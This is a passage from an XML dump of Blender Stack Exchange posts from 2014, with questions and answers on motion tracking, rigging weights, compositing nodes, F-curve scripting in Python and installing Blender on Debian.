attempts, the Solve Error was ~0.6, even on the one that failed to reconstruct properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if 180° on the X/Y plane followed by a 90° or 45° arc into Z (as shown below) would always work, or if that's an unnecessary amount of parallax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in order to reduce trial and error, does anyone know the minimum parallax requirements? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like to get good enough correct specifics that they can be added to the Motion Tracking page in the Blender manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ht6eo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;180° arc on the X/Y plane, followed by a 90° arc into Z&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-02-22T19:17:58.940" LastActivityDate="2014-04-23T21:05:22.940" Title="What are the minimum parallax requirements for successful motion tracking?" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7252" PostTypeId="2" ParentId="7250" CreationDate="2014-02-22T16:40:15.847" Score="1" Body="&lt;p&gt;The tracking points are better to be chosen from different dimensions as they are in real world, in order to cover more obvious parallax difference between frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, it's certainly not recommended to pick them all from a single plane/ground or a single wall. However, if some are from the ground and others are from a wall, it would be the nicer choice for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not going to propose any AD here, but I learned this thing from the official training DVD - &lt;a href=&quot;http://www.blender3d.org/e-shop/product_info_n.php?products_id=147&quot; rel=&quot;nofollow&quot;&gt;Track, Match, Blend!&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-22T16:40:15.847" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7253" PostTypeId="2" ParentId="7244" CreationDate="2014-02-22T17:20:55.410" Score="2" Body="&lt;p&gt;To be honest, there are a lot of problems in your file. I'll try to point out some:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uncleand faces:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gx7U0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Missing the two important loops here:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IIqb9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Obviously, the main problem is caused by the improper vertex group setting:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HTxi5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the correct settings should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g6k40.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-22T17:41:31.710" LastActivityDate="2014-02-22T17:41:31.710" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7254" PostTypeId="2" ParentId="7239" CreationDate="2014-02-22T17:58:20.477" Score="4" Body="&lt;p&gt;Actually, monochrome effect can be easily done by &lt;strong&gt;ColorRamp&lt;/strong&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hFJz5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To your question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you mentioned, it seems that the only problem now is the tilt/side area on the text. I suggest to consider taking the advantage of &lt;strong&gt;Material Index&lt;/strong&gt; here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qqqhV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, convert the Text objects to mesh (Shortcut is &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;. You may want to remove doubles and correct normal directions after that);&lt;/li&gt;&#xA;&lt;li&gt;Select all sided faces, then assign a new material to the selection (even can be the exact duplication as the original one, if necessary);&lt;/li&gt;&#xA;&lt;li&gt;Set a different &lt;strong&gt;Pass Index&lt;/strong&gt; value in setting of this material;&lt;/li&gt;&#xA;&lt;li&gt;Toggle Material Index passes in Render Layer setting for outputting. You can then use it to separate the tilt/side area and have it controlled separately.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you don't want to do it for compositing use, using plain materials with &lt;strong&gt;Shadelss&lt;/strong&gt; toggled can also be an easier way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XzZwI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspired by gandalf3's cool answer, here is the option for outlined result, also with more control by ColorRamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C3aIu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also consider to generate outlines by &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Freestyle&quot; rel=&quot;nofollow noreferrer&quot;&gt;FreeStyle&lt;/a&gt;&lt;/strong&gt;, though relatively inefficient and less flexible in this case.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:57:42.523" LastActivityDate="2015-04-06T01:57:42.523" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="7255" PostTypeId="1" AcceptedAnswerId="7271" CreationDate="2014-02-22T18:56:08.220" Score="0" ViewCount="682" Body="&lt;p&gt;I created a master object library file from which concrete projects can link in the objects needed for our scenes.  The goal was that if we needed to touch up an object we could then do so in the master object library file and re-render from scenes in project files.  The snag we ran into is that a couple of the master objects are used for two purposes: 1) Cast shadows but not be visible to the camera in one scene, and 2) Be visible to the camera in another scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we were surprised to find that Ray Visibility options are grayed out on linked objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not possible to change the options, we'll need to come up with a different approach.&lt;/p&gt;&#xA;" OwnerUserId="956" LastActivityDate="2014-02-23T13:17:22.887" Title="Is there a way to change Ray Visibility settings of linked objects?" Tags="&lt;objects&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7257" PostTypeId="1" AcceptedAnswerId="7258" CreationDate="2014-02-22T21:16:19.640" Score="1" ViewCount="1789" Body="&lt;p&gt;I have an operator that I need to hand over arguments. I know that one possibility is to add attributes to the scene and use this but in &lt;code&gt;draw&lt;/code&gt;-methods of operators I can modify the arguments passed to the operator directly. So I thought I should be able to do this from the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have this operator (as an example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy.types import Operator&#xA;from bpy.props import StringProperty&#xA;&#xA;class ExampleOP(Operator):&#xA;    bl_idname = &quot;object.test&quot;&#xA;    bl_label = &quot;Is just an example&quot;&#xA;    bl_options = {'REGISTER'}&#xA;&#xA;    foo = StringProperty()&#xA;    result = StringProperty()&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_props_dialog(self)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col = layout.column()&#xA;&#xA;        col.prop_search(self, 'result', context.object.data, 'uv_textures', text=&quot;UV Layer&quot;)&#xA;&#xA;    def execute(self, context):&#xA;        print(foo)&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want to do is &lt;code&gt;bpy.ops.object.test('INVOKE_DEFAULT', foo=&quot;something&quot;).&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; It seems to me that the answer only works for *Property()-objects not any object. This gives me a&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TpyeError: Convering py args to operator properties: keyword &quot;ev&quot; unrecognized&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Please do not post any answers telling me off, to do this in another way. NO, this is exactly what I need, I cannot handle the &quot;print-statement&quot; outwards of the operator and yes, and foo may not always be a StringProperty.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2014-02-23T00:40:31.560" LastActivityDate="2014-02-23T00:40:31.560" Title="Add operator arguments to console call" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7258" PostTypeId="2" ParentId="7257" CreationDate="2014-02-22T23:33:17.567" Score="2" Body="&lt;p&gt;You already added &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.props.html#operator-example&quot; rel=&quot;nofollow&quot;&gt;Operator Properties&lt;/a&gt; to your operator, which is perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The missing link is how to access the operator property values, which is rather simple (remember it's a python class after all):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(self.foo)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;self&lt;/code&gt; refers to the operator instance, which stores the property values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.types import Operator&#xA;from bpy.props import StringProperty&#xA;&#xA;class ExampleOP(Operator):&#xA;    bl_idname = &quot;object.test&quot;&#xA;    bl_label = &quot;Is just an example&quot;&#xA;    bl_options = {'REGISTER'}&#xA;&#xA;    foo = StringProperty()&#xA;    result = StringProperty()&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_props_dialog(self)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col = layout.column()&#xA;&#xA;        col.prop_search(self, 'result', context.object.data, 'uv_textures', text=&quot;UV Layer&quot;)&#xA;&#xA;    def execute(self, context):&#xA;        print(&quot;foo =&quot;, self.foo)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    bpy.ops.object.test('INVOKE_DEFAULT', foo=&quot;bar&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-22T23:33:17.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7259" PostTypeId="1" AcceptedAnswerId="7265" CreationDate="2014-02-23T01:25:39.147" Score="-2" ViewCount="189" Body="&lt;p&gt;I worked through all the problems on my first Bow, and now have one new one that makes no sense.  No matter how I slice the string (now down to a single cut in its middle) when the bow string pulls back it only sticks to one end of the bow, sometimes its the top and other times when I redo it, it only sticks to the bottom.  I'm really puzzled over this one.  The sting ends are totally inside the bow frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27020&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/27020&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bLsne.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="1363" LastEditDate="2014-02-23T02:01:56.340" LastActivityDate="2014-02-23T07:33:54.637" Title="&quot;That Darn Bow&quot; Problem 2" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2014-02-23T07:51:38.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="7260" PostTypeId="1" AcceptedAnswerId="7264" CreationDate="2014-02-23T01:32:15.853" Score="3" ViewCount="486" Body="&lt;p&gt;When doing the fire simulation within Blender Render can the smoke domain be anything other than a cube, such as sphere or other mesh?&lt;/p&gt;&#xA;" OwnerUserId="2084" LastActivityDate="2016-02-28T08:22:38.307" Title="Smoke Domains in Blender" Tags="&lt;physics&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7261" PostTypeId="1" AcceptedAnswerId="7269" CreationDate="2014-02-23T02:30:20.267" Score="1" ViewCount="813" Body="&lt;p&gt;After creating an F-curve for the default cube and then setting the Extrapolation Mode to 'LINEAR', the graph editor displays a very strange curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pXGHV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script I ran in the Text Editor of a  new .blend file was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;obj.animation_data_create()&#xA;obj.animation_data.action = bpy.data.actions.new(name=&quot;MyAction&quot;)&#xA;fcu_z = obj.animation_data.action.fcurves.new(data_path=&quot;location&quot;, index=2)&#xA;fcu_z.keyframe_points.add(2)&#xA;fcu_z.keyframe_points[0].co = 10.0, 0.0&#xA;fcu_z.keyframe_points[1].co = 20.0, 1.0&#xA;&#xA;fcu_z.extrapolation='LINEAR'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The F-curve can be manually &quot;refreshed&quot; by selecting a control point and hitting &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MPFOO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can I &quot;refresh&quot; the F-curve in the script?&lt;/li&gt;&#xA;&lt;li&gt;Should I submit a bug report?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-02-23T02:37:19.597" LastActivityDate="2014-03-20T11:43:12.287" Title="Refresh an F-curve with Python after changing Extrapolation Mode" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="1" ClosedDate="2014-02-23T13:30:51.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="7262" PostTypeId="1" CreationDate="2014-02-23T02:59:38.487" Score="3" ViewCount="7879" Body="&lt;p&gt;I don't know how/where to put the files for Blender. From the repositories the only version available is 2.63, but I want 2.69 of Blender. Downloading the files straight from blender.org gives me an executable program, but how do I place it on the machine as if it were installed through the repositories via apt-get?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such as shortcuts and everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2558" LastEditorUserId="1112" LastEditDate="2014-02-23T04:55:04.487" LastActivityDate="2014-02-23T17:15:51.467" Title="Install latest Blender to Debian" Tags="&lt;linux&gt;&lt;installation&gt;" AnswerCount="2" CommentCount="10" ClosedDate="2014-02-23T17:43:58.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="7263" PostTypeId="2" ParentId="7262" CreationDate="2014-02-23T04:22:53.453" Score="5" Body="&lt;p&gt;On Ubuntu, there's a &lt;a href=&quot;https://en.wikipedia.org/wiki/Personal_Package_Archive&quot; rel=&quot;nofollow noreferrer&quot;&gt;PPA&lt;/a&gt;, so you can run the commands in the terminal&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:irie/blender&#xA;sudo apt-get update&#xA;sudo apt-get install blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you'll have one of the latest builds of Blender (read more &lt;a href=&quot;https://askubuntu.com/a/169546/173693&quot;&gt;here&lt;/a&gt; or visit the PPA's website &lt;a href=&quot;https://launchpad.net/~irie/+archive/blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).  WARNING: This won't be the official stable release, but the most recent version of Blender as of a few days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for Debian, I believe that Ubuntu PPAs can &lt;a href=&quot;https://wiki.debian.org/CreatePackageFromPPA&quot; rel=&quot;nofollow noreferrer&quot;&gt;be used on Debian&lt;/a&gt; too.  It seems like a bit of work, so hopefully someone else has a better solution.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:02.757" LastActivityDate="2014-02-23T04:45:30.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7264" PostTypeId="2" ParentId="7260" CreationDate="2014-02-23T04:24:33.943" Score="4" Body="&lt;p&gt;You can use a mesh besides the cube as a smoke domain. I would however always stick to a boxes because Blender smoke simulators uses voxels (small cubes). And  other meshes can cause unpredictable behaviors, although I believe this has improved in recent GSOC. When using other meshes, depending on the smoke simulation's resolution the smoke might b outside of the domain.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dz7Cw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-02-23T04:24:33.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7265" PostTypeId="2" ParentId="7259" CreationDate="2014-02-23T04:27:24.930" Score="2" Body="&lt;p&gt;To check the weight per vertex, you can take the advantage of &lt;strong&gt;Vertex Weights&lt;/strong&gt; panel on the right-hand N bar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ozHE8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you check, you can see the top vertices on the bow sring got non-zero weight on string bone, on the other hand, the string was parented to the bow. But the vertices on the bottom didn't have any weights. That's why it occured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Other problems are still there. Because the key problem here is that the top and bottom vertices of the string need to be assigned to both bones (even with very small weights). What's more, since the bottom got no weight on any bones, they may seem fine, but actually they are not controllable by any bones, too. You'll see what's gonna happen next:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z0Y5Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all your issues (including your &lt;a href=&quot;https://blender.stackexchange.com/q/7244/696&quot;&gt;last question&lt;/a&gt;), the poor weight assignment can be  the source of all &quot;bugs&quot;. For such case, I highly recommend that you should not use &lt;strong&gt;With Automatic Weights&lt;/strong&gt; operator when parenting, since it won't always behave smart enough, you need to clean and fix them manually after all. So, painting weights yourself from the very beginning can be the better way.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-02-23T07:33:54.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7266" PostTypeId="2" ParentId="7261" CreationDate="2014-02-23T06:53:46.470" Score="1" Body="&lt;p&gt;I've found a workaround.  This function seems to refresh the F-Curve Editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def refresh_fcurve_editor():&#xA;    '''execute a meaningless command on F-Curve Editor which has the effect of&#xA;    refreshing the graph.'''&#xA;    C=bpy.context&#xA;    old_area_type = C.area.type&#xA;    C.area.type='GRAPH_EDITOR'&#xA;    bpy.ops.graph.clean( threshold = 0)&#xA;    C.area.type=old_area_type    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-02-23T06:53:46.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7268" PostTypeId="2" ParentId="7261" CreationDate="2014-02-23T10:14:42.527" Score="3" Body="&lt;p&gt;You don't set the coordinates for the handles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender won't check if these are valid. In this case the right handle is initialized with the default value&lt;br&gt;&#xA;(0.0, 0.0) which is invalid since the  x-coordinate of the left endpoint is 10.0. So handle_x &gt; endpoint_x is violated here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the point blender will automatically recalculate the handles for the points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.FCurveKeyframePoints.html#bpy.types.FCurveKeyframePoints&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;keyframe_points.insert&lt;/code&gt;&lt;/a&gt; will recalculate the curve unless the option &lt;code&gt;FAST&lt;/code&gt; is chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;obj.animation_data_create()&#xA;obj.animation_data.action = bpy.data.actions.new(name=&quot;MyAction&quot;)&#xA;fcu_z = obj.animation_data.action.fcurves.new(data_path=&quot;location&quot;, index=2)&#xA;fcu_z.extrapolation='LINEAR'&#xA;fcu_z.keyframe_points.insert(10.0, 0.0)&#xA;fcu_z.keyframe_points.insert(20.0, 1.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-23T14:10:08.293" LastActivityDate="2014-02-23T14:10:08.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7269" PostTypeId="2" ParentId="7261" CreationDate="2014-02-23T12:15:27.853" Score="2" Body="&lt;p&gt;If you're changing the &lt;code&gt;area.type&lt;/code&gt; anyway, I suggest to use a meaningful operator and replace the &lt;code&gt;fcu_z.extrapolation = 'LINEAR'&lt;/code&gt; by &lt;code&gt;graph.extrapolation_type()&lt;/code&gt; operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;context = bpy.context&#xA;&#xA;obj = context.object&#xA;obj.animation_data_create()&#xA;obj.animation_data.action = bpy.data.actions.new(name=&quot;MyAction&quot;)&#xA;fcu_z = obj.animation_data.action.fcurves.new(data_path=&quot;location&quot;, index=2)&#xA;fcu_z.keyframe_points.add(2)&#xA;fcu_z.keyframe_points[0].co = 10.0, 0.0&#xA;fcu_z.keyframe_points[1].co = 20.0, 1.0&#xA;&#xA;old_area_type = context.area.type&#xA;context.area.type = 'GRAPH_EDITOR'&#xA;bpy.ops.graph.extrapolation_type(type='LINEAR')&#xA;context.area.type = old_area_type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Submitted bug report: &lt;a href=&quot;https://developer.blender.org/T38774&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T38774&lt;/a&gt; (fixed in 2.70, see report)&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-03-20T11:43:12.287" LastActivityDate="2014-03-20T11:43:12.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7270" PostTypeId="1" CreationDate="2014-02-23T12:42:17.410" Score="0" ViewCount="600" Body="&lt;p&gt;Hello there I'm trying to learn how to python to help me automate parts of my workflow which take a long time and are repetetive (so i can go do the ironing while it does all that). But I thought I better ask if scripting can possibly do it first, as its the only real need I'll have for scripts, I believe. I have written down a list of what I want the script to do in quasi-programming terms. I know some of it is possible, but would like to know if it all is!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I've also put in ITALICS how i would MANUALLY accomplish these operations, just in case descriptions dont work out well)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Run-script&#xA;&#xA;//tex_directory is the hard disk location where blender will look for the texture to replace the one already on the object&#xA;tex_directory = &quot;c:\mytextures\&quot;&#xA;&#xA;// Below command loads a list of &quot;applicable&quot; object names. The aim is that it will later scan through all objects in the scene, and if their name matches, it will perform the texture/optimization commands on them.&#xA;load_a_list_of_applicable_object_names&#xA;&#xA;go_through_all_objects_in_scene&#xA;&#xA;//compare names of scene objects with loaded list to see if we find an object we want to modify.&#xA;if object_name = any_applicable_object_name&#xA;&#xA;// apply planar_decimation modifier to object to remove extra faces not needed.&#xA;remove_object_faces&#xA;modifiers &amp;gt; decimation &amp;gt; planar decimation &amp;gt; apply&#xA;&#xA;// retexture object from a multi-texture file to a single texture image&#xA;retexture_object&#xA;MATERIALS &amp;gt; duplicate material (plus button) &amp;gt; rename new material to object name&#xA;TEXTURES &amp;gt; duplicate texture (plus button) &amp;gt; rename new material to object name+&quot;_tex&quot;&#xA;TEXTURES &amp;gt; texture's TYPE to &quot;image or movie&quot;&#xA;TEXTURES &amp;gt; image &amp;gt; open &amp;gt; TEX_Directory+object name+&quot;.jpg&quot;&#xA;TEXTURES &amp;gt; MAPPING:&#xA;coordinates - &quot;global&quot;&#xA;projection &quot;cubic&quot;&#xA;SIZE X,Y and Z = &quot;10&quot;&#xA;TEXTURES &amp;gt; Influence &amp;gt; Diffuse &amp;gt; Alpha = 1&#xA;end if //return to comparing rest of scene objects to &quot;applicable&quot; objects list.&#xA;if end of scene objects - end script&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone even the foggiest idea how to do this? I've managed to create a decimate modifier (with default values which I dont want) and thats about it!&lt;/p&gt;&#xA;" OwnerUserId="2562" LastActivityDate="2014-02-24T15:23:29.857" Title="Complex Script help" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-24T15:55:09.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="7271" PostTypeId="2" ParentId="7255" CreationDate="2014-02-23T13:17:22.887" Score="0" Body="&lt;p&gt;Many properties are defined in the master blend file where all changes should be made. We can't change these properties in a linked file as they are always read from the master.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases the only linked items that we want to modify in a scene file are armatures. To be able to modify an armature we make a proxy of the armature in the linked file (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;), this can also be applied to other objects. The drawback of making a proxy of a mesh object is that we loose any modifiers in the proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from loosing modifiers other changes made in the master file will still show up in the linked file, this includes mesh changes, materials, textures, but you can change various properties of a proxy object like Ray Visibility.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-02-23T13:17:22.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7272" PostTypeId="1" CreationDate="2014-02-23T13:57:19.553" Score="2" ViewCount="798" Body="&lt;p&gt;I want to make custom node that can be used in compositing nodes. I stuck in part when I need to pass color value (and do some operation on that) from input to output socket.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def init(self, context):&#xA;    inp = self.inputs.new('NodeSocketColor', &quot;Input 1&quot;)&#xA;    inp2 = self.inputs.new('NodeSocketColor', &quot;Input 2&quot;)&#xA;&#xA;    out = self.outputs.new('NodeSocketColor', &quot;Out&quot;)&#xA;    out2 = self.outputs.new('NodeSocketColor', &quot;Out 2&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I don't know how to set up links (inp -&gt; out, inp2 -&gt; out2). Outputs are always connected to the first input socket.&lt;/li&gt;&#xA;&lt;li&gt;How to change value before outputting.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2563" LastEditorUserId="599" LastEditDate="2014-02-23T17:45:05.650" LastActivityDate="2015-04-18T14:27:53.043" Title="How to pass color value from input to output in custom python node" Tags="&lt;python&gt;&lt;pynodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
